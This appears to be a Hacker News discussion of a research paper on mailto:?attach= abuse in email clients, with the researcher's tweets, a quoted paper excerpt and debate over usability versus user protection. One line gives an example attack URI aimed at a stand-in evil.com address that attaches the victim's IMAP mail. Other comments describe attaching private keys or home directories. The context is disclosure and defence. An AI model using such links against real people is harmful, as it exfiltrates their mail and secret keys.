Mailto: ?attach=~/ parameter allows including arbitrary files on disk
twitter.com
twitter.com
Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4)
You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4)
Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4)
This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu , @dues__ , @seecurity , and @joergschwenk : https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)
https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen...
3) Access to IMAP Storage:
Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored on IMAP folders. This allows an attacker to include messages on the victim’s IMAP server (specified by their UID) using an attach parameter, as shown in Listing 6.
mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1
Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.
Even worse, all OpenPGP and S/MIME encrypted emails in the attached email are automatically decrypted by Thunderbird before sending them back to the attacker.
Sheesh!
In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
After a quick search through the paper [1] it seems that authors forgot to mention the software versions they were using in their research.
[1] https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...
So you are only affected if your system uses xdg-open to parse mailto links.
/* DO NOT support attachment= in mailto urls. This poses a security fire hole!!!
[1] http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555
In the end, the only viable option is to forbid this behaviour, and document a rationale so nobody will enable it back again.
Perhaps they could make this warning bigger, but other than that...
A lightweight solution I used previously was running the browser in a separate Unix user with firejail's sandbox. If it's not running a separate X server, the attacker is free to take over the X server and inject keyboard and mouse inputs, but at least the files in the primary /home directory is inaccessible. I did this a few years ago after the disclosure of a file-leaking vulnerability in Firefox, because I assumed similar exploits may be discovered in the future, apparently I'm not wrong.
If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally.
As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble.
In the end, message security is endpoint security.
This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.
It's absolutely unreasonable.
If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes
But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.
How was this standardized? Why did clients implement this?
People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.
Notice that the user is still required to actually press Send in front of their default mail client with an open window showing the full email and attachments.
Our users want to be able to be able to open a declaration and email the documents, either internally or to their customers, along with some message.
We don't really want to implement a full email client in our program nor having to deal with their SMTP server setup, including proxies, firewall and so on. So we basically do exactly this, open a new mail in their client with some template text and with one or more attachments.
We use MAPI though and not "mailto:", but use-case is there.
(Addendum: See spacebar heating macro XKCD.)
(A mail-client could contain basic "warn"-lists of credential-holding places, containing a few dozen file names covering 99% of current platforms/programs)
And some "advanced" config options to also configure allowed URI schemes.
> A mail-client could contain
but it doesn't.
maybe devs just dont care?
maybe they tend to believe "who would inspect our page and try to manipulate form?? no one"?
maybe lack of review?
lack of time?
too much context switching?
Sadly we have the year 2020 and as Rick Cook said: “Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.”.
If the email program would pop up a warning that says "The following files have been automatically attached: [List of files]", would that meet the security concerns?
I don't want my email client automatically attaching files from my computer, period. I don't care how well or poorly it displays that fact. There's no use case important enough to warrant that kind of intrusion.
Or a letter you're typing, to some company: in your word processor, File -> Send as E-Mail.
For these features to be able to work, the email client would need to have an API so it can create an e-mail with attachments directly attached.
Sure they're not important, but they're convenient. You might not like them, but hey am I glad you're not a product owner of a mail software.
A moment's thought should illustrate that "pop up a dialog box to ask permission" isn't really a fix for a hole like this. It has conspicuously failed in the past.
I think your quote, which has the benefit of being funny, does miss one key thing, and it's that the number of users and our interactions with our systems keep growing.
Prob(user error) might well be increasing a bit, but N * Prob(user error) is definitely increasing.
I have read some of the mail standards and know that they have quite a number of "annoyances" some with bad security implications.
But I believed that modern mail software treats them as uhm "legacy madness" and just doesn't implement them.
Now imagine you've decided the only portable way to marshal the information of what to send is to use an extension to the URI for mailto. This means you can no longer reliably figure out if the URI is "safe" (being generated by a program that wants to effect a "send this document") or "unsafe" (I clicked a link in my web browser).
XDG chose to go down the stupid path. Windows opted to use MAPI, so MAPISendMail lets you attach files for the shell extensions.
Wasn’t the MTAs, this time.
Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?!
Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine.
Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.
A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it.
They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say.
It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece.
These users have a checklist approach to using their computer:
Step 1: click this
Step 2: that happens
Step 3: Did what I wanted to happen, happen?
Step 4: there is no step 4
The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to p0wn.me@gmail.com?", they'll click 'Yes' and get on with their day.
But I don't agree with your conclusion that they need to be protected. If I want to hammer in a nail and accidentally hit my finger that's not the hammer-manufacturer's fault or responsibility. So why should it be the email-client's fault/responsibility to make sure I don't send my private keys?
If people refuse to learn how to use a hammer they will keep hitting their fingers, if people are refuse to learn how to use their email-client they will keep sending their private keys to bad actors.
But I do believe that UX needs to be designed according to the principle of least surprise, and those in the know (i.e. we/us), need to put in guardrails to keep people safe as they get on with their day.
If your hammer has 4,500 different everyday functions, 4,400 of them posing a danger to your fingers & bank account, but hammering nails is necessary for your job, for your kids' school stuff, and to interact with your government, then that's a closer analogy.
Software, especially an email client, is significantly more complex. Many people don't have the time, desire, nor ability, to learn how to use it safely - and the usage of it is generally forced upon them.
Let's make things safe by default.
The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
Please show more awareness and compassion. Perhaps beginning with your handle.
How far do you want to take this? At the end of the day you need to understand what's going on - otherwise you're going to visit a site presenting a self-signed cert and just click the "let me bypass this warning" button before handing over your creds.
It's no different to being phoned up by a scammer and being asked to transfer money for a "tax refund". What can we do about that technically? We try. We add warnings when customers initiate a bank transfer but at the end of the day it's their money and they must be free to send it where they please. So there has to be a focus on education, _as well as_ technological methods to try and protect the user.
> The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
There's a difference between being "tech-savvy, digital natives" and understanding the basics of how things like your email client work - and what it displays when it's going to send attachments.
I'm tired of this attitude that people are helpless and that understanding some basic aspects of the technology they use on a daily basis is completely forever out of their reach. It's patronising, and it leads to us "dumbing down" software (see Chrome and the address bar).
> Please show more awareness and compassion.
I've acknowledged that a warning may go some ways to improving this situation, but I absolutely stand by:
- The functionality had some genuine usage in the form of desktop software that opened up the mail client with e.g. crash logs attached. - Removing the functionality entirely rather than exploring how to do it in a safer (read: not safe) way was an over-reaction and we've lost something potentially useful as a result.
> Perhaps beginning with your handle.
Perhaps you could focus on the points being made _in the body of_ the next comment you reply to?
Most people do not have a functional model of how things work, they have a process model, possibly more accurately a ritualistic model, of action and effect. "I do A and B happens." There is no "because C" causal explanation, or any such notions are hopelessly inaccurate, often mythical or animistic.
Population-level computer literacy has been studied, and the results are frankly gutstopping. Usability expert Jacob Nielsen wrote on this in 2016:
Across 33 rich countries, only 5% of the population has high computer-related abilities, and only a third of people can complete medium-complexity tasks.
https://www.nngroup.com/articles/computer-skill-levels/
He's referencing a 216,000 participant OECD study:
http://dx.doi.org/10.1787/9789264258051-en
"Below level one" describes 14% of the adult population, for which typical skills are "Delete this email message". "Level one" (29% of the population) can assign categories or use search features, say, in email. "Level 2" (26%) could accomplish a task such as "You want to find a sustainability-related document that was sent to you by John Smith in October last year". Level 3 is the highest skill level, representing 5% of the population.
If you've been noting totals you might have twigged that we're only to 74% of the population. That is because fully 26% of adults have no effective computer literacy.
And 69% of the population in total (none, <1, 1) have at best extraordinarily limited skills and understanding. Whilst there's some variance among OECD populations (Finland does better, Turkey poorly), the shifts aren't that great. Human cognitive distribution is something we have to live with: all the children are not above average.
You may be tired of this fact but it remains the best interpretation of the evidence.
I'm certainly frustrated by this, on multiple grounds. It means that general-population digital tools must be targeted to the minimum viable user. It means that the advanced-user community is a very minor market segment, at least by units. It means that consequences of poor technical literacy are born by all of us. That's wrapped up in an essay "The Tyranny of the Minimum Viable User":
https://old.reddit.com/r/dredmorbius/comments/69wk8y/the_tyr...
But no, really, it's not as bad as I portrayed above. It's far worse.